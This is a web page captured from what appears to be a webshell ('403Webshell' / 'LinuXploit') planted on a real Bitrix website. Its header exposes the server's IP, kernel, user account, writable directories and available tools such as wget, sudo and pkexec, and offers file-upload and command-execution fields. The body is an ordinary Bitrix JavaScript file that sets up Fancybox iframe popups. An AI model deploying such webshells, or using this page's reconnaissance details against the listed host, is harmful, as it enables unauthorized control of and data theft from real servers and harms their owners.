403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/templates/landing24/assets/js/helpers/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/templates/landing24/assets/js/helpers/popup_init.js
;(function ($) {
	"use strict";

	BX.ready(function ()
	{
		// Init Fancybox for link without embed URL
		$("[target=\"_popup\"]:not([data-url])").fancybox({type: "iframe"});

		// Init Fancybox for link with embed URL
		$("[target=\"_popup\"][data-url]").on("click", function (event)
		{
			event.preventDefault();

			$.fancybox.open({
					src: this.dataset.url,
					type: "iframe",
					afterShow: afterFancyboxIframeShow,
				},
				{
					iframe: {
						scrolling: "auto",
					},
				});
		});

		$("[data-pseudo-url*='_popup']").on("click", function (event)
		{
			event.preventDefault();

			var linkOptions = BX.Landing.Utils.data(this, "data-pseudo-url");

			if (linkOptions.href && linkOptions.enabled)
			{
				var src = linkOptions.href;

				if (BX.type.isPlainObject(linkOptions.attrs) &&
					linkOptions.attrs['data-url'])
				{
					src = linkOptions.attrs['data-url'];
				}
				$.fancybox.open({
						src: src,
						type: "iframe",
						afterShow: afterFancyboxIframeShow,
					},
					{
						iframe: {
							scrolling: "auto",
						},
					});
			}

		});

		function afterFancyboxIframeShow(instance, current)
		{
			var iframe = current.$slide.find("iframe")[0];
			void BX.Landing.MediaPlayer.Factory.create(iframe);
		}
	});

})(window.jQueryLanding || jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit